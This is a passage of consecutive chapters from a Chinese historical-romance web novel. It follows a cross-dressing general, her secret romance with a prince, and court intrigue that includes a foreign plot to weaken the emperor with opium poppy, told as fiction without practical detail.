云暮拿起茶杯,在她们欲言又止的眼神中将茶水倒进了砚台,“研墨,给那位大人送去。” 云暮随手点了一个正和伪装成侍女的妓子逗乐,若非顾及他们在场,只怕是要粘在一处,不知天地为何物了。 两人不敢多言,一人按着砚台,一人拿着墨条慢慢研磨。 酒意渐浓,云暮不愿见他们的放浪行径,起身朝外走去,连借口都没寻。 “本将军的那个小厮呢?” 进了七皇子的府邸后,砚石就被人引到了别处,云暮只能随意抓了一人来问他的下落。 小厮朝凉亭看了好几眼,“云将军放心,小的绝不敢怠慢您的人,眼下他正在后罩房呢。” 云暮:……虽然早知有这么一遭,还提前给人服了药,但亲耳听到时,云暮还是觉得有些怪异。 “带我……” “殿下。” 云暮话未说完,小厮朝她身后行了一礼,回头一看,发现是七皇子。 “殿下。” “云将军让孤一顿好找。” 云暮不以为意地说道:“下官喝不得酒,现下连闻着酒气都会起疹,这才匆匆出来透口气。” 她撩起一截衣袖,白皙的腕子上果然上长了不少红点。出来时她就想到会有人来寻,已经提前服了药。 七皇子道:“是孤思虑不周了,去给云将军找个大夫。” “下官本就是医者,不用麻烦,给我下官打一盆冰水即可。”云暮从荷包里掏出一个药瓶,倒出一粒黑乎乎的药就往嘴里塞。 再被冰水一激,云暮手臂上的红疹果然消了不少。七皇子啧啧称奇:“云将军不愧是师出药王谷,所以你方才去崔府是为了崔相?” 云暮嗯了一声,“丞相告了几日假,除了大夫谁也不见,皇上忧心不已,下官作为臣子,自然要为皇上分忧。” 她叹了一口气,“可惜只能在门口问上几句,并未得见丞相,想来他心里也还在怨下官。” 愁容和愧疚布满她的面容,七皇子宽慰道:“皇兄做错了事自该受罚,云将军也不过是奉旨办事罢了。” “只是丞相乃皇兄的亲舅,皇兄自小常在崔府行走,与丞相亲如父子,丞相一时伤心迁怒于将军也是人之常情,云将军切莫放在心上。” 两人边走边谈,不知不觉竟走到了正院。 云暮心生警惕,面上仍和七皇子谈笑风生,才刚坐下,一个小厮火急火燎地跑进了院里,嘴里不停地喊着殿下。 七皇子斥道:“慌慌张张,成何体统?” 小厮深吸了一口气,“殿下,秦王殿下来了,小的们没拦住,他已经闯进府中了。” “废物!” 七皇子对着院里的人怒吼:“愣着做什么?还不快把那些人给孤打发走?等着给人留把柄吗?” 好端端的,沈聿明来凑什么热闹,况且这宅子是他暗中置办的,对方没道理会发现。难不成是有人通风报信?七皇子狐疑地看了云暮几眼。 同样意想不到的人还有云暮,但也庆幸沈聿明来了。 “皇兄怎么来了?” 沈聿明上前拍着七皇子的肩,笑道:“皇兄平日里对你们疏于关照,竟不知此处是你的宅子。” 他顿了顿,扫了云暮一眼,意有所指道:“七弟,皇兄劝你一句,交友需谨慎,有些人得提防。” 七皇子干笑了两声:“皇兄今日怎会想到来臣弟这儿?” 沈聿明道:“方才本王在崔府门口瞧见你的人,本王怕你被人坑骗了去,这才特意上门。” 三句话有两句半是在阴阳怪气,云暮冷了脸:“秦王殿下,七皇子,下官就不打扰你们兄弟二人叙旧了。” 说罢,她揪过一个面熟的小厮,“后罩房在哪?去把我的人叫来。” 第两百三十二章 偷偷摸摸也挺好 起初还热热闹闹的凉亭如今一人不剩,连酒气都没有留下半分,云暮心道,七皇子的动作倒是快。 凉亭空无一物,虽说那是无关紧要之物,但既已找了借口出来,自是要做足样子。 “那枚扳指是御赐之物,还不快去给本将军找?皇上哪日若是问起,你们可担得起责任?” 领路的小厮是从宫里出来的,平日里跟在七皇子身边,好东西没少见,但也听说过不少有关云暮的事,他没敢质疑云暮之言。 “将军在此稍坐片刻,奴才这就去帮您寻回扳指,定给您一个交代。” 云暮却率先走出了凉亭,“本将军还要进宫面圣,无暇等你,东西找到后派人送去云府便是,我的人呢?” 太监把人往门口引:“人和马车都在门外候着了。” 云暮出门后果然看到砚石坐在马车上,她对太监说道:“替本将军和七殿下说一声,下次邀本将军叙话时,别再带上那些扫兴之人,否则皇上那里就瞒不住了。” 小厮讷讷应了一声,“是。” 一路上,砚石频频往马车内看,在马车第三次碾过一块碎石时,云暮终于拉开了车帘,“心不在焉的,马车都赶不好,发生了何事?” 砚石欲言又止,最后还是在云暮催促的目光中开了口:“大人给属下吃了什么药?” 说罢,他面色涨红,双眼虽是看着前边,余光却一直观察着云暮。 云暮忽然压下身子,凑到砚石的肩头轻嗅了一下,瞬间乐了,“他们给你塞女人了?” 砚石的脸更红了,讷讷不语,双目乱瞟就是不看云暮。 和云暮分开后,他被带到了后罩房,一桌子好酒好菜,他一口未动。那些人眼看他不上钩,又叫了好些个衣着清凉的侍女伴舞奏乐。 他不知云暮的目的,不敢轻举妄动,而后可耻地发现他不能人道了。 他借口出恭,让鸟儿给王府送去了信。他能察觉出自家大人和王爷之间有猫腻,于是在字条上极尽描述七皇子的殷勤和女子的勾引,果不其然,沈聿明很快就带人赶了过来。 方才还不肯放他离去的人殷切地把他送了出去,路上还碰到几个神色匆匆的官员。 “大人,你是不是早就知道,所以才提前让属下服药?” 云暮听他说完,笑得直不起腰,她拿出一个药瓶,“吃一粒就够了,切莫多吃,回去让安叔给你炖些补汤。” 见他还并未真正放松,云暮拍了拍他的肩:“无事,本将军也吃了。” 云暮是太监,太监吃不吃药都行不了事,但他不是!砚石幽怨地看了他一眼。 云暮轻咳了一声,“你不信本将军?” “属下不敢。” 砚石吃了一粒药丸,还欲再多吃一粒,被云暮制止了。 “不许多吃,这是本将军从鬼市买的,一赤焰虫做药引,前些日子那些爆体而亡的人就是吃了此药。”砚石的手顿在半空,吃也不是,放回去也不是。 云暮拿过药往嘴里塞去,嚼吧两下就咽了下去,砚石想阻止都来不及。 “大人!” 云暮的手脚很快涌起一阵暖流。鬼市被封后,她从师父那里得了几粒药。那日毒发时,她意识不清拿错了药,才发现此药能抑住她体内之毒。 药不多,云暮细细尝过后把药材猜出了七七八八,还剩两味药怎么也试不出。眼看药瓶即将见底,她只能将药连同那张方子送去鬼市,让师父帮忙。 也不知她师父最后用了什么法子,竟真的将药材及其用量都给她试了出来。 在不影响药效的情况下,云暮又加了些甘草,药丸多了一些甜味,吃起来更像糖豆了。 “大人,你就算把整瓶药吃完都无济于事。” 见云暮吃完也只是面色看起来红润了几分,砚石老实巴交地说道。 云暮放下帘子暗自伤神,良久,车内才传出一句:“我不过是一个阉人,怎能和你们这些身子健全的比?” “大人,属下说错话,要打要罚都由您。”砚石脸上满是愧疚,同时又庆幸砚清不在,不然肯定少不了挨一顿打。 云暮疲惫地说道:“回府吧。” …… “哟,这不是王爷吗,下官不过是一个心怀不轨之人,哪值得您登门拜访。” 那几句话出口时,沈聿明便知会得罪云暮,但他们明面上还是敌对,不那样说只会惹人生疑。 门口站着几个小厮,沈聿明只能勾住云暮的尾指,赔罪道:“我今日突然闯到他的府邸,他对你生了疑,再不说那些话,我们的关系可就要暴露了。” 云暮这才想起问他:“你怎么会来?” 沈聿明随口扯了谎:“砚石在后罩房发现老七想给你安上狎妓的罪名,逼你助他夺势,他一人难敌四手,又寻不到你,所以给我递了信。” “反倒是你,怎么和他走一块了?” 一提到此事云暮就心生烦忧,她翻出一沓拜帖,“太子倒了,你和我有龃龉,他们便觉得机会来了,日日送来拜帖,云府的门槛都快要被人踏破了。” “今日从崔府回来时,七皇子直接派人拦了马车,本想和他虚与委蛇,谁知他竟是个只知游玩享乐使阴招的主。” 沈聿明附和了她几句,趁机道:“与其便宜他人,不如你我在人前也重修于好。” “过两日我要和他们去醉春风,喝醉酒后不幸掉进河里,云大人正好路过,随手救下了本王。本王感激涕零,决定和你一笑泯恩仇。你以为如何?” 云暮想也不想直接拒绝:“不如何。太子一倒,朝中又独你被封了王,他们恨不得将身家性命压在你身上。皇上一定格外地关注你的动向,我们前脚和好,后脚他就该派我去查你了。” 沈聿明也知是这个理,他只是不想云暮和其他人联手罢了,哪怕只是做戏。他哀哀地喊了一声,“到底要何时才能光明正大地进云府。” 云暮拍了拍他,不知该如何说,末了她来了一句:“偷偷摸摸不也挺好?” 第二百三十三章 好好当你的暖炉 直到天色暗下,云暮才从书房出来,她无比后悔说了那句话。 沈聿明拿着外袍追了出来,“外头风冷,小心受寒。” 云暮微抬下颌,任由沈聿明替她系上系带,冰冷的手落入男人宽厚的手掌里。 “去岁秋末,你的脸色可没有如今好,怎地手竟这般冰凉?” 云暮眨了两下眼,忽然将更冷想手背贴在沈聿明的脖颈上,“我怎么记得某人当初还在想着怎么从我这儿捞好处。” 沈聿明被激得汗毛直竖却不闪躲,甚至还将云暮拉向他的方向,他义正言辞道:“那叫交易。那夜在山上,你人冷得跟冰块似的,就和今日一样。” 他说的是抓兰维那夜,夜里山中本就风大,后来又下了雨,更是冻得人没有知觉。 手上有了温度,云暮终于放过沈聿明的脖颈,解释道:“厨房日日都炖,但虚不受补,总得慢慢来。” 沈聿明依旧不满:“定是药材药效不够,涿州那边派人送了些药材,都是吴婶他们进山挖的,明儿我派人送来。” 云暮笑嘻嘻地扣住他的手:“下官先谢过王爷了。” 沈聿明得寸进尺地点了点面颊:“好话听倦了,给点甜头。” 云暮推开他的脸,拒绝的意味很明显。 沈聿明头一偏,飞快在她面上落下一吻:“本王自己讨。” 饭桌上,云暮可怜兮兮地盯着面前的那碗汤:“已经喝了一碗,实在喝不下了。” 沈聿明不为所动:“必须喝完,不许耍赖。” 云暮捧起碗勉强喝了两口,说什么都不肯再喝了,她看了一眼砚石,砚石一句话没说,默默把在厅里伺候的小厮都赶了下去,他则在门外候着。 云暮起身走到沈聿明身侧,拉起他的手放在腹部:“真的喝不下了,不信你摸。” 沈聿明只好退了半步,“你再喝一口。” 羊肉汤味道不错,但云暮一连喝了三天,光闻着都觉得腻得慌,她坐到沈聿明的腿上,拉着他的手揉着肚子,撒娇道:“吃太多,肚子涨得难受,你替我揉揉。” 说罢,她把头埋在沈聿明的颈窝蹭了两下。 沈聿明叹了一声,认命给她揉肚子,“下次不许这样了。” 云暮窝在他怀里,舒服地半眯着眼,随口嗯嗯了几声,却不把话往心里去。这么好用的美人计怎能只用一次? 吃饱喝足,今日又无公事缠身,云暮环着火炉似的沈聿明,沉沉睡去。 “什么时辰了?” 被放到床上的那瞬间,云暮突然清醒。即便被窝提前用汤婆子暖过,但还是比不上沈聿明怀里的温度。 沈聿明看了一眼滴漏,说道:“快到宵禁了,我该回去了。” 云暮抓着他的衣摆,迟迟不肯放开。 沈聿明装作看不见她眼中的不舍,拍了拍她的头,“你接着睡吧。” 云暮冷哼了一声,翻了个身背对着他,整个人都埋进被窝里,“你走吧。” 脚步声渐渐远去,紧接着是门被合上的声音。云暮竖着耳朵听了一会儿,一点动静都没有,她愤愤地捶了一下软枕。约莫一盏茶的功夫后,房门再次被人推开,那双温热的大手把云暮从被窝里捞了出来,“闷在里面做什么?难不成因为本王走了在哭鼻子?让本王看看。” 云暮压下心中的欣喜,面上摆出一张冷脸:“王爷不是回王府了吗,怎么还赖在云府不走?” 沈聿明挑眉:“本王何时说要回王府了?” 云暮学着他方才的语气说道:“快到宵禁了,我该回去了。” 沈聿明眼中的笑意更深了:“回去又不是非得回王府,云大人不是在隔壁给本王留了间厢房,本王过去看看缺了什么东西罢了,怎么还让云大人误会,真是该打。” 云暮:“……我什么时候给你留厢房了?” 沈聿明理直气壮道:“制解毒丹那夜你就让本王住进隔壁,那间房就是本王的了。” 说罢,他将云暮抱到隔间。 隔间水汽氤氲,云暮听见抱着她的人问道:“我帮你?” 原来沈聿明是去给她叫水,云暮脸上泛起红晕,她跳到地上,把人往外推:“出去出去。” 她掬起一捧水泼在脸上,水珠顺着她的脸落回浴桶。直至全身被泡得发皱,云暮才从桶里站起。 沈聿明的声音适时响起:“暮暮,水该凉了,你不会又睡过去了吧?” 云暮怕他闯进来,连忙应道:“好了。” 门外沈聿明还在催促,她看着里衣犯了难,平日里只她一人在,沐浴后便是只着里衣,但今日多了一人。 今日在外面奔走,外袍沾了尘土,她定然是不会再穿。 云暮自暴自弃地想,罢了,亲近的事都做了不少,里衣就里衣吧。 她拉开门装出一副很冷的模样,身子一拧,从沈聿明的身侧飞快跑到了床边,正要钻进被窝,才想起她方才穿着外袍躺在床上。 因沈聿明知晓她的身份,沐浴后她便没有束胸,此刻让砚石他们进来换被褥是不可能的,于是她看向罪魁祸首的沈聿明。 “明熹。” 云暮每次唤他的字时,大多都没什么好事,沈聿明疑惑地“嗯?”了一声,朝她走来,身上还带着水汽。 “怎么了?” 云暮指着床尾的柜子道:“给我换一床被褥。” 沈聿明不明所以,但还是老老实实地给她换了。 被褥前几日才洗,还带着胰子的的淡香,云暮蛄蛹地将自己缠进被子里,深吸了一口。 沈聿明给她掖了掖被角,“我去叫人给你灌几个汤婆子。”即便是才泡了澡,云暮身上的温度也不比方才高多少。 云暮摇了摇头,“不要。”她掀开被子一角,“你进来。” 沈聿明的呼吸停了几瞬,喉咙滚动了两下后才道:“你确定?” 云暮拍了拍身侧,又让出半个枕头,催促道:“快点,等会儿我就反悔了。” 沈聿明二话不说直接钻进被窝,将人搂在怀里,“休想。” 温香软玉在怀,沈聿明不由心神荡漾,云暮勾唇浅笑,语气里满是威胁:“好好当你的暖炉,若是敢动手动脚,呵呵。” 第二百三十四章 孟煦的心思 第二日一早,云暮神采奕奕地从房里走出,跟在她身后的沈聿明眼下挂着青黑,幽怨地盯着她的背影。 昨夜云暮倒在他怀里倒是睡得香,整个人都缩在他怀里,但这可就苦了沈聿明。 他原想着趁机讨些好处,不过是动了一下,一根不知从何处来的银针就抵在他的小腹,云暮闭着眼说道:“王爷,莫要乱动。” 于是沈聿明整晚几乎都没换过姿势,手脚麻了都不敢乱动,今儿早上缓了许久才重新找回知觉。 才到花厅,云暮的怀里就多了一个人,正是在孟煦那儿住了好几日的十五。 云暮稳稳把人扶住,“还当你要下了学才回来。” 十五搂着云暮的腰,抱怨道:“前几日十五便想回来了,但是先生说大人还在忙。” “乖十五,先生没骗你,大人昨儿才把事忙完。” 云暮捏了捏十五的脸,让出半个身子,“看看谁来了?” “王爷!” 十五和沈聿明相处的时间不少,沈聿明平常也纵着他,云暮和沈聿明断绝来往的那些时日,十五还偷偷在被窝里掉过好几次眼泪。 一大一小正在叙话,云暮提步走进正厅,“兄长,这几日给您添麻烦了。” 孟煦摇了摇头,“十五很听话。太子那边如何了?” 云暮扯了张椅子坐在他身边,“崔家在一日,他就有一日的好日子。” 若是崔家倒了,太子才会被梁文帝彻底放弃。 她又道:“有个人一直没找到,我心里总觉不安。” 沈聿明恰好牵着十五往里走来,闻言,他不由问道:“谁?” 云暮不愿再说,转移了话题:“兄长留下来一道用早膳?” 在沈聿明不满地眼神中,孟煦缓缓点了头:“好。” 云暮碟子里的东西都堆成了一座小山,沈聿明左看右看,最后将山药糕放在了云暮的碗里。 东西太多,无从下手,云暮放下筷子,忍无可忍,对着三个还要给她继续夹东西的人说道:“够了,你们这是作甚?” 沈聿明瞥了孟煦一眼,将碗伸到云暮面前:“那你给我夹,都怪你昨夜不许我动,我的手现在还麻着,你得对本王负责。” 云暮将那块山药糕放到他碗里,“闭嘴,吃你的。” 沈聿明得意地朝孟煦扬眉,夹起那块山药糕放进嘴里。 云暮给十五匀了小半碟的早膳,又往沈聿明的碗里丢了几块甜到发腻的糕点,最后只剩下几样她爱吃的。 十五年岁还小,又是她带回来的,平日里亲如姐弟。 沈聿明和她的关系更是不用说,别说是碟子里没碰过的吃食,就算是她吃进嘴里的,他都想尝尝味道。 但孟煦不同。 云暮对他尊敬有加,亲近不足,自是不敢把吃食给他。 自觉赢了一局的沈聿明得意洋洋地晃着脑袋,手里还拿着十五给的蛤蟆馒头。孟煦呵了一声,顿时心情全无,他搁下筷子,“学堂还有事,你们慢用。” 沈聿明咧开嘴笑得格外灿烂,还冲对方挥了挥手:“孟先生慢走,我们就不送了。” 云暮看着孟煦一动未动的早膳,暗中掐了沈聿明的腰身,眼神里暗含警告。起身去追孟煦。 “兄长!” 孟煦脚步未停,甚至还加快了速度。 云暮在心里长叹了一声,拔腿继续追,临到府门时才终于追上:“兄长,你生气了?” 孟煦硬邦邦地开口:“我有什么好生气的?” 云暮解释道:“王爷他小孩子心性,方才是和你闹着玩呢。” 孟煦冷笑了一声:“这话也就你信。先前还当你真的和他断了,今日又是怎么回事?你昨夜还留他在府中过夜?” 他记得她从来不会轻易放人进府,更不会留人在府中过夜。听着沈聿明的意思,他们昨夜一直待在一起,孟煦不敢想他们如今已经亲密到哪一步了。 云暮心虚地移开视线,“昨夜谈完事已到宵禁,只能留他在云府。” 孟煦观她的表情,心里更堵了。他原想着查清当年的真相,还镇北侯府上下几百口人清白后再和云暮表明心意。 可谁知半路杀出来一个沈聿明,对方还几次三番地挑衅他。 孟煦起初没把人放在眼里,他不信一个十几年没见过的幼时玩伴能越得过他。 后来发现云暮和沈聿明的关系越来越近,他几次三番想把情意宣之于口,但最后还是忍下了。 哪怕他真实的身份已经无人知晓,但大仇未报,他又怎能心无旁骛地和云暮在一起?压抑了许久的情绪终于在今日爆发。 孟煦突然扣住她的手,“小暮,你知不知道……” “你们在这啊,幸好来得及。”沈聿明提着一个食盒朝他们走来,孟煦依旧圈着云暮的手腕没有松手。 云暮甩开他的手,看向沈聿明:“你怎么来了?” 沈聿明挤在两人中间,将食盒递给孟煦:“见先生没来得及用早膳,本王让砚石从厨房装了些吃的。先生放心,都是没动过的。” 碍于云暮在场,孟煦只能接过食盒,干巴巴地道了声谢。 沈聿明拉着云暮往回走,头也不回地说道:“先生慢走,本王和云大人还有要事商议,就不送了。” 身后的孟煦握紧了拳头,手背青筋暴起。 路上,云暮看着轻柔地替她揉着手腕的沈聿明说道:“只是看起来吓人罢了,他一个书生,能有多大的劲?” 沈聿明不满道:“我都不舍得用这么大的力气,他凭什么?左不过是心里醋我和你好,又不敢对着本王发作,只能寻你麻烦。” 他又叮嘱云暮:“往后离他远些。” 云暮好笑地看着他:“你家妹子孤男寡女和人共处一室,你不担心?” 沈聿明在外生活了十几年,对宫里那些所谓的兄弟姐妹并无多少感情,他道:“我母妃只我一个孩子,这话说不通。” “你方才说谁没寻到?” 云暮收回手,道:“除了卢靖还能有谁,卢家先前和东胡勾结,我怀疑他带着那些人去了东胡。” 第二百三十五章 刺激梁今越 “太子殿下,许久不见。” 房间逼仄,一眼就能把里头的东西收进眼底。不过各一张桌床椅,就把屋内的空间侵占得差不多了。 侍卫在房里挪动了片刻,终于将椅子放进了屋内。 不用人招呼,云暮已经自顾自地坐下饮茶。 “云大人叫错人了,这里没有太子,只有一个废人。”梁今越依旧把头埋在书中,久久才翻动一页。 云暮认得那本书。 那天她把梁今越押送到此处后,梁今越对她说了第二句话,“云将军,可否将书架第六排的那三本书给我送来?” 没有想象中的歇斯底里让云暮很意外,她没有直接应下,“此事得奏明皇上。” 梁今越点了点头,道了声谢。 云暮把那几本书里里外外都翻了一遍,就连火烤的法子都试过了,还是没发现有何异样。她这才送去勤政殿问过梁文帝的意思。 不过是看几本书打发时间,梁文帝也就允了。 椅子和床离得极近,剩余的几本书整整齐齐地码在枕边,没有一个卷边。他倒是保护得很好,云暮隐隐能猜出这几本书是何人所赠。 她手才抬起,梁今越像是背后长了眼一般,“别动那些书。” 云暮一阵无语,继续将手抬起,从袖中掏出了一张被折得方方正正的纸,将其摆在梁今越面前。 “殿下,此人带着那些逃跑的私兵去了何处?” 画纸上俨然是卢靖的脸。 梁今越只扫了一眼,又将视线移回书上,“我不认得他,云将军认错人了。” “认错?那殿下不如解释一下此物?”云暮拿出那个从万宝斋那儿买来的玉冠。 这次梁今越更是看都没看一眼,便直接道没见过。 云暮被他的反应气笑了,“没见过?不如本将军去寻胡宗远来,让他替您回忆回忆?” “万宝斋虽是我的产业,但东西我怎能样样认得?云大人未免太强人所难了。” 云暮抽开他的书:“我能替你把书寻来,也能把它们毁了。” 梁今越被云暮捏住命脉,只得看向桌上之物,他目光闪烁了一下,道:“云大人,我确实不认识此物。” 油盐不进,云暮冷笑了一声,“把人带上来。” 在大狱待了一阵子,日日清汤寡水,米都没有几粒,胡宗远的身形消瘦了许多,梁今越差点没认出来。 云暮拿着玉冠问他:“胡宗远,你可还记得此物?十五万两银票拿得可还开心?” 胡宗远瞳孔一缩,看了一眼梁今越,矢口否认,“云将军,小人不认得。”幸好云暮当日怕他翻脸不认账,在酒桌上让他立了字据,“你不会连自己的字都不认得了吧?再想不起来,本将军不介意让他们帮你回忆回忆。” 黑着张脸的侍卫闻声上前,把胡宗远吓得一哆嗦。他在大狱虽没受刑,但日日都听到有人哀嚎,刑棍打在肉上的沉闷声他并不陌生。 “我说我说。” “昔日太子将此玉冠交给小人,让小人将其放在库房,说此物不许卖与大梁官员,倘若那天遇到两个配有腰牌的西域陌生男子,可赠予他们。” “云将军,小人此前真的不知这是卢家的东西啊。” 云暮挥了两下手,胡宗远很快就被人带了下去,她看向梁今越:“殿下,事到如今,你还是不认吗?两个面生且配有腰牌的西域男子,下官猜,他们是胡人吧?” “卢靖那夜趁乱而逃,下官的人在京郊搜了这么多天都没有半点消息,想来是带着那些人去投靠东胡了吧?” 梁今越的面上多了几分不自在,他拿起那本被云暮拿走的书,遮住半张脸,“投靠东胡那可是叛国的重罪,孤怎会坐那种事?” 京城通往西域的山道上,一行人正在一处破庙休息,约莫有二三十人,且都是男子。 地上躺了好几个衣衫褴褛之人,整座庙都是血腥之气。 卢靖取下覆着半张脸的面巾,灌了一口冷水,另有一人鬼鬼祟祟地回了破庙,“大人,这是您的悬赏令。” 他们不眠不休的赶路,只想早些赶到西域。西域来往之人众多,他们混在其中,定然不会被人发现,只是如今多了一个变故。 卢家早被抄了个干净,卢靖几年前又随父回了涿州,再回京时,已是囚者,只有云暮还有那个该死的沈聿明见过他。 卢靖不禁想,这画像会不会就是亲自画的,再命人拿去临摹?画像上的他还是一年前的模样,卢靖不由问道:“如今我这张脸与画像上可有分别?” 一年前,他在涿州再遇云暮,心中的厌恶因一顿鞭子变成了扭曲的爱意。卢家人成了阶下囚,而云暮则踏着卢家上下这么多条人命坐上了金吾卫大将军之位。 此去一别,他最快也要一年才能重回大梁,卢靖抚着画像,轻声道:“云暮,你欠了我一笔债,可得好好活着。” 将画像贴身放好,卢靖再次将面巾覆在脸上,“走吧。” “殿下,据我所知,卢靖对胡人一向没有好脸色,难不成你还想把全部罪责都推到卢靖身上?。” 云暮嘲讽一笑,“不过也是,前几日你才做了同样的事,如今也算是一回生二回熟了。” 梁文帝问梁今越为何会做出这种大逆不道之事时,他说他答应了长宁,要给她一人之下万人之上的位置。 梁今越跟被踩了尾巴的猫,瞬间炸了:“你懂什么,我只是想让长宁早点摆脱如今的生活,我有什么错?” 云暮冷笑了一声,“你想助公主摆脱何其容易,求皇上放她出府,再觅一个知心的驸马,哪桩哪件你做不到?可你偏偏选了一个最恶心的做法,还把罪名都推到她头上,难怪她恨你入骨。” “闭嘴!” 云暮的话撕开了他冠冕堂皇的假面,梁今越又气又恨。 “孤为了她拒绝了多少门婚事,就连父皇的赐婚都拒了,孤对她一片苦心……” 云暮打断他的话,“她本就有心上人,若不是因为殿下,长宁公主如今已为人妇,和心上人活得好好的。” 第二百三十六章 他最合适 梁今越因云暮的这番话彻底破防,“一个小小的县丞之子也敢肖想公主,孤没要了他一家老小的命已是开恩。” 盛怒的梁今越什么都听不下去,通胡又是叛国的重罪,梁今越只是被废了太子之名圈禁在此,未必没有复起的可能,即便有胡宗远的字据在,他也能将此事推到对方身上。 在他这里闻不出什么,云暮亦不想在浪费时间,“大皇子不愿告知,下官也就不打扰了,告辞。” 临走之时,云暮巧遇给梁今越送饭食的小厮,五荤三素另有一道汤,她却记得圈禁在宗人府的人该是一荤一素,想来是有人暗中打点了。 云暮淡淡道:“没有下次。” 勤政殿里,梁文帝将一道奏折扔到云暮面前,“你看看。” 云暮将奏折捡起,是七皇子的奏折,他道沈聿明无故闯进他的宅子,将里头的东西砸了大半。 云暮一看时间,正是昨日。 “云卿可知此事?” 他这般问,心里定是知道了些什么,云暮没敢瞒,将实实情一一道出。 梁文帝对自家儿子给云暮塞女人一事的怒火竟压过了对方和朝中官员有来往。 “将他禁足一个月,你去传口谕。” “微臣遵旨。” “嘉禾与胡人来往。” 云暮暗中拿着字条去了王府,“你去见见她?看看能不能打听到什么消息?” 沈聿明却道:“不去,他们的人想来很快就会来了。” 真是说谁谁到,文竹敲开了书房的门:“王爷,外面有人求见。” 沈聿明得意地看向云暮,“本王说得没错吧?” 云暮失笑,站到了屏风后。 沈聿明清了清嗓,命文竹换了一套新的茶具后才把人叫进来。 隔着屏风,云暮看不清那人的样貌,只大概能看出一个身形矮小的轮廓。 沈聿明拿出画像对来人问道:“此人可有和你们联系?” 来人是东胡安插在京城的探子,特意换了一个大梁的名字,叫胡安生。 胡安生在脑中搜刮了一阵,摇头道:“不曾。” 沈聿明大失所望,“要是有他的消息,给孤把人擒住。” 两人终于进入正题。 沈聿明明里暗里让胡人知道他的一些势力,但也没将底牌全部亮出。 太子倒了,他们能倚仗的人又少了一个, 今日七皇子被禁了足,沈聿明却得了任秋闱监考官一职,可谓是皇子中的香饽饽,东胡又忙不迭派了胡安生来。胡安生低声道:“嘉禾公主已经准备动手。” 云暮心生警惕,动什么手?对谁动手?她往前走了两步,贴近了屏风。 沈聿明拉开距离,“此处没有旁人,你只管说就是。” 胡安生道:“方才我们的人给公主送去了东西,要不是那个云暮,我们去年早就能……” 沈聿明警告似的看着胡安生,胡安生还当他心里还舍不得梁文帝,忙开解道:“王爷,太子被废,老皇帝心里不好受,听说御膳房日日都要给他炖大补汤,眼下正是我们下药的好时机。听说云府也日日都煨着汤,可惜我们的人安插不进去。” 沈聿明饶有兴味地“哦”了一声,“云府固若金汤,你怎么知道云府的事?” 胡安生害了一声,“属下哪能打听到,不过是派人去翻了云府丢出来的东西,发现里头有药渣罢了。” 药渣?她生病了?沈聿明不着痕迹地扫了一眼屏风。 胡安生又将话题扯回梁文帝身上,“王爷,最关键的一件事需要您来做。” 沈聿明嗤笑了一声,“下毒谋害皇帝,你我有几个脑袋掉啊?” 胡安生解释道:“并非毒药,王爷在京中这么久,想来也听说过米囊花。此次公主所下之药便是米囊花。此药不会毒死人,只是让皇上的身子虚一些罢了。” 米囊花之事是在他回京后才发生的,沈聿明这次不能装作不知了,“你在糊弄本王?米囊花能让人成瘾,父皇此前服用过,你当他发现不了?” “就算他发现不了,你们也别忘了还有一个精通医术的云暮。原先的太监总管就是因为给父皇下米囊花,云暮知晓后,一剑把人砍了,父皇还赏了她不少好东西。” 胡安生讨好地开口:“不是日日都下,只要做得隐蔽,断不会有人发现是我们动的手。” 他提议道:“将来这天下是王爷您的,不如您和云暮谈谈?若能把人拉拢过来,我们的胜算就更大。” 后面便是胡安生在给沈聿明出主意,劝他如何贿赂她,被人当面这么算计,还真有意思。 胡安生口干舌燥地讲了半天,沈聿明只道了一句让孤想想便将人请了出去,连水都没给人喝上一口。 云暮肃着脸从屏风后走出,“京城和江南的据点都被端了,他们竟贼心不死,还惦记着用米囊花害人。” 沈聿明给云暮倒了杯茶:“父皇那边你打算怎么做?” 云暮想也不想,直接道:“不能让他们得手,但我进来没多管御膳房,此刻突然去查,他们怕是会怀疑你。” 沈聿明沉默不语,良久,他才道:“云暮,我想……” 后面的话没说,但云暮也猜出来了,她道:“你查到了什么?” 沈聿明将搜查到的证据摆在书案上,“他当年为了上位,坑害了这么多人,享了这么多年的福,也该够了,镇北侯府的冤魂等了这个清白几十年了。” 云暮翻看着证据,心越发冷,但还是存了理智,“至少米囊花不行,入冬之前我都能装作不知。” 入冬后,她每次进宫,梁文帝都会将药膳匀给她一碗,到时她必定会揭穿此事。 “除非皇上有意隐瞒。”就像先前他偷偷服用收缴上来的米囊花一样。 沈聿明也是见识过米囊花的效果,他道:“入冬前的这些时间已经够了,我们要做的就是抓住崔府的把柄,不能让梁今越再有东山再起的机会。” 梁文帝的身子本就亏空,只要嘉禾多下几次药,必能掏空他的身子。皇子良莠不齐,只有他才是最合适的人选。 第二百三十七章 小偷小摸的行径 陈如海陪梁文帝微服去过几次嘉禾公主的府邸,是以她递牌子进宫时,陈如海便禀退了众人,他独自守在勤政殿外。 嘉禾观梁文帝的面色,柔声道:“陛下憔悴了不少,妾给您熬了养生汤,是从保和堂拿的方子。” 梁文帝疲累地将笔搁在桌上,接过嘉禾手中的碗一饮而尽,“保和堂的方子是极好的。” 嘉禾行至他的身后,替他揉捏着头部,梁文帝的身体紧绷了一瞬后才慢慢放松。 嘉禾说道:“妾听闻丞相告了病假,陛下手下这么多能臣,难道离了丞相便不会做事了吗,定是他们偷奸耍懒。” 皓腕在他头上流连,阵阵香风直送鼻翼,梁文帝有些心猿意马,他反手握住嘉禾的手,将人拉到跟前,“不说这个了,你今日入宫所为何事?” 嘉禾也不扭捏,顺势坐在梁文帝的腿上,指尖轻轻掠过他的胸膛,带起阵阵麻意。 “妾在宫外听说了不少事,皇上又许久不来,妾放心不下,只想亲眼确认陛下您的安危。” 梁文帝不由笑道:“有云卿在,朕能有什么事?” 他将嘉禾打横抱起,“既然来了,就留下来陪朕用晚膳吧。” 此时不过才过正午,离晚膳还有好几个时辰,他想做什么嘉禾来之前就已经料到。 但就算心里厌恶,她还是娇羞地将脸埋在梁文帝的颈窝,“皇上,白日宣淫,御史们知道了得上书骂妾狐媚惑主了。” “皇上呢?” 云暮想闯进勤政殿,但都被陈如海拦下了。 陈如海哎哟叫唤了两声,低声道:“云将军,皇上因着那事这几日没有歇好,夜里总是梦魇,眼下才喝了安神汤睡下,云将军多体恤体恤皇上,让他好好歇一歇。” 云暮狐疑地看了陈如海一眼,“本将军今早进宫时怎地没听说?” 黄如海轻轻打了两下嘴,“都怪奴才,皇上怕云将军担心,这才没让奴才们禀告,奴才这才瞒着您。” “安神汤的方子是哪位太医开的?等会儿派人送去布政坊。” 